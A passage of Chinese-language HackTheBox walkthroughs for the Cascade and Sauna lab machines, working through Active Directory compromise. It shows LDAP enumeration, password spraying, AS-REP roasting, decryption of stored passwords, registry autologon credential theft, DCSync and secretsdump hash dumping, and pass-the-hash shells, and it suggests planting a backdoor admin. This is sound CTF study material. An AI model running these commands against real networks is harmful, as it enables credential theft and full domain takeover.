hackthebox-cascade-235

hackthebox cascade

cascade

port scan

使用rustscan做端口扫描,存在开放端口139,445,389,5985等。

services

使用windapsearch枚举389 ldap服务,枚举users,groups,computers以及custom all信息。

1
2
3
4
5
6
mod="users"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}"  | tee "${mod}.txt"
mod="groups"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="computers"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="metadata"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"

mod="custom"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" --filter "(&(objectClass=*))" | tee custom.allObject.txt

windapsearch enum ldap

过滤查看查询到的信息,发现存在cascadeLegacyPwd字样,保存着r.thompson的密码。

grep windapsearch result found cascadeLegacyPwd

r.thompson cascadeLegacyPwd

使用cme根据r.thompson / rY4n5eva凭据尝试登录smb服务,获得共享目录列表(登录成功)。

1
cme smb '10.10.10.182' -u 'r.thompson' -p 'rY4n5eva' --shares

cme enum r.thompson shares

可以使用cme查看用户密码策略后,尝试密码喷洒(常规步骤,仅做记录)。

1
cme smb '10.10.10.182' -u 'r.thompson' -p 'rY4n5eva' --pass-pol

cme get pass policy

发现未设置密码锁定次数,则可以密码喷洒,不会锁定账户。未发现其他成果。

1
cme smb '10.10.10.182' -u './cascade.local.users.lst' -p 'rY4n5eva' --continue-on-success

cme r.thompson pass spray 使用cmespider_plus模块爬取smb 共享文件信息。

1
cme smb '10.10.10.182' -u 'r.thompson' -p 'rY4n5eva' -M spider_plus

cme spider r.thompson shares

查看这些文件内容,汇总以下信息:

有一个TempAdmin账户,已经被删除,与管理员账户密码相同

存在一个s.smith账户,它有VNC安装密码hex形式: hex:6b,cf,2a,4b,6e,5a,ca,0f

存在一个ArkSvc账户,此账户做删除操作,此账户删除了TempAdmin账户

根据frizb/PasswordDecrypts文档说明,恢复hex形式的VNC密码。

1
2
# Native Linux Tools
echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

decrypt s.smith VNC pass

使用cme,以s.smith / sT333ve2 尝试登录smb, winrm, 登录成功时使用spider_plus模块搜集共享文件信息;(标准动作:尝试密码喷洒)

1
2
3
4
cme smb '10.10.10.182' -u 's.smith' -p 'sT333ve2' --shares
cme winrm '10.10.10.182' -u 's.smith' -p 'sT333ve2'

cme smb '10.10.10.182' -u 's.smith' -p 'sT333ve2' -M spider_plus

cme s.smith smb,winrm login

cme s.smith smb spider_plus

foothold

wirm能够登录,使用evil-winrm登录,获得交互式pwsh shell.

1
evil-winrm -i '10.10.10.182' -u 's.smith' -p 'sT333ve2'

evil-winrm s.smith login

priv esca

发现s.smith可读共享目录Audit$下,存在一些二进制文件和sqllite数据库文件Audit.db.

查看Audit.db数据库中数据,发现ArkSvc密码(加密) BQO5l5Kj9MdErXx6Q6AGOw==,

sqllite Audit.db ArkSvc password

使用dnspyCascAudit.exe做逆向,发现需要引入CascCrypto.dll,引入后发现, 此二进制文件的功能是与sqllite数据库交互查询ArkSvc用户的密码后解密,再做其他操作。 解密方法是CascCrypto.dll链接库中的 public static string DecryptString(string EncryptedString, string Key)方法。 Key是c4scadek3y654321ArkSvc的加密密码是BQO5l5Kj9MdErXx6Q6AGOw==

dnspy reverse CascAudit.exe pe file

尝试新建C#控制台程序,debug此方法,手动解密密码, 密码是w3lc0meFr31nd

create new project decrypt ArkSvc

使用cmeArkSvc / w3lc0meFr31nd凭据登录smb,winrm.

1
2
3
4
cme smb '10.10.10.182' -u 'ArkSvc' -p 'w3lc0meFr31nd'
cme winrm '10.10.10.182' -u 'ArkSvc' -p 'w3lc0meFr31nd'

evil-winrm -i '10.10.10.182' -u 'ArkSvc' -p 'w3lc0meFr31nd'

cme ArkSvc smb winrm login

枚举到ArkSvc用户在AD Recycle Bin组中,与之前收集的信息符合,引入pwsh的ActiveDirectory模块, 调用Get-ADObject方法查询,Recycle Bin中已经删除的对象属性。

1
2
3
Import-Module ActiveDirectory

Get-ADObject -SearchBase "CN=Deleted Objects,DC=Cascade,DC=local" -Filter {ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *

enum ActiveDirectory DeletedObject properties

得到TempAdmin / baCT3r1aN00dles 凭据。之前收集到的信息TempAdmin密码与普通管理员密码相同,尝试密码喷洒。

1
2
3
impacket-GetADUsers -all -dc-ip '10.10.10.182' 'cascade.local/ArkSvc:w3lc0meFr31nd' | tail -n+6 | awk '{print $1}' | tee ../../dump/cascade.local.users.txt

cme smb '10.10.10.182' -u './cascade.local.users.txt' -p 'baCT3r1aN00dles' --continue-on-success

喷洒到administrator / baCT3r1aN00dles,与之前掌握的信息符合,(密码喷洒容易触发主机防护告警)。 cme ArkSvc spray pass

使用evil-winrmadministrator / baCT3r1aN00dles凭据登录winrm服务。

evil-winrm administrator login

post

impacket-secretsdump将域内所有用户hash dump到本地。

1
impacket-secretsdump -outputfile 'cascade.local.secretsdump.txt' -dc-ip '10.10.10.182' -target-ip '10.10.10.182' 'cascade.local/administrator:baCT3r1aN00dles@10.10.10.182'

impacket-secretsdump dump domain all user's hash


hackthebox-sauna-229

hackthebox sauna

sauna

port scan

使用rustscan做端口扫描,发现开放了80,139,445,369等端口;

services

使用gobuster对80http服务进行路径爆破。 发现存在以下路径:

http://10.10.10.175/Contact.html (Status: 200) [Size: 15634]

http://10.10.10.175/Blog.html (Status: 200) [Size: 24695]

http://10.10.10.175/Index.html (Status: 200) [Size: 32797]

http://10.10.10.175/Images (Status: 403) [Size: 1233]

http://10.10.10.175/About.html (Status: 200) [Size: 30954]

http://10.10.10.175/about.html (Status: 200) [Size: 30954]

http://10.10.10.175/blog.html (Status: 200) [Size: 24695]

http://10.10.10.175/contact.html (Status: 200) [Size: 15634]

http://10.10.10.175/css (Status: 403) [Size: 1233]

http://10.10.10.175/fonts (Status: 403) [Size: 1233]

http://10.10.10.175/index.html (Status: 200) [Size: 32797]

http://10.10.10.175/index.html (Status: 200) [Size: 32797]

http://10.10.10.175/images (Status: 403) [Size: 1233]

http://10.10.10.175/single.html (Status: 200) [Size: 38059]

在about页面收集员工姓名列表,如下:

Fergus Smith

Shaun Coins

Sophie Driver

Bowie Taylor

Hugo Bear

Steven Kerb

使用username-anarchy对已知姓名进行用户名列表输出。

1
./username-anarchy -i /root/labs/01-htb/010-active-directory/sauna/dump/username.http.lst | tee /root/labs/01-htb/010-active-directory/sauna/dump/username-anarchy.lst

username-anarchy create username list

使用impacket-GetNPUsers尝试获取指定用户名的AS-REP

1
impacket-GetNPUsers -request -outputfile './0818-egotistical-bank.local.txt' -format john -usersfile './username-anarchy.lst' -no-pass -dc-ip '10.10.10.175' 'egotistical-bank.local/'

impacket-GetNPUsers get AS-REP

使用john对获得的hash进行爆破.

1
john-Rockyou ./0818-egotistical-bank.local.txt

爆破得到凭据fsmith / Thestrokes23

john crack AS-REP hash

使用cmefsmith / Thestrokes23凭据获得用户密码策略,查看能否尝试密码喷洒,而不会锁定账号。

1
cme smb '10.10.10.175' -u 'fsmith' -p 'Thestrokes23' --pass-pol

Account Lockout Threshold: None:账户锁定前可尝试次数,未定义即为:不会锁定账户;可放心喷洒。 cme get -pass-pol

使用cme将已知密码和用户列表进行喷洒。

1
cme smb '10.10.10.175' -u './egotistical-bank.local.username.lst' -p 'Thestrokes23' --continue-on-success

可得到hsmith / Thestrokes23 (常规动作,仅做记录)

cme password spray

可尝试根据Thestrokes23后两位数字规则,使用john生成对应规则密码字典。

/etc/john/john.conf[List.Rules:All]配置段落后添加自定义规则。 再使用john以新规则生成字典。

1
john --wordlist=./pass.org --rule=append2nu --stdout | tee thestrokes.pass.lst

在john配置文件中添加自定义规则

john create pass dict with rule

再使用hydra,cme等工具进行密码爆破。未发现成功结果。

foothold

使用evil-winrmfsmith / Thestrokes23凭据尝试登录winrm.

1
evil-winrm -i '10.10.10.175' -u 'fsmith' -p 'Thestrokes23'

evil-winrm login fsmith winrm

priv esca

以fsmith用户枚举信息。 查询注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,以确定保存的自动登录用户凭据。

1
reg.exe query 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'

查询到svc_loanmanager / Moneymakestheworldgoround!,根据额外枚举到的用户信息,用户名应该是svc_loanmgr

reg query autologon credentials

svc_loanmgr用户属于Remote Management User用户组,使用 svc_loanmgr / Moneymakestheworldgoround! 凭据尝试登录wirm.

使用bloodhound工具以svc_loanmgr用户身份,导出域内关系图,发现svc_loanmgr具有DCSync攻击路径。

1
bloodhound-python -c 'all' -d 'egotistical-bank.local' -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' -ns '10.10.10.175' -dc 'sauna.egotistical-bank.local' -gc 'sauna.egotistical-bank.local' --zip

bloodhound collection domain information

使用Find Principals with DCSync Rights查询语句查询所有具有DCSync权限的用户. bloodhound find DCSync attack vector

使用impacket-secretsdumpsvc_loanmgr凭据dump整个域内用户的hash.

1
impacket-secretsdump  -dc-ip '10.10.10.175' -target-ip '10.10.10.175' 'egotistical-bank.local/svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'

impacket-secretsdump

得到administrator的hash后,可以使用evil-winrmpass-the-hash进行登录。

evil-winrm pass the hash

post

域内用户hash已经dump,可以尝试添加后门域管用户。

other func

提权做信息收集时,可以使用peass进行自动收集,同样可以收集到autologon credentials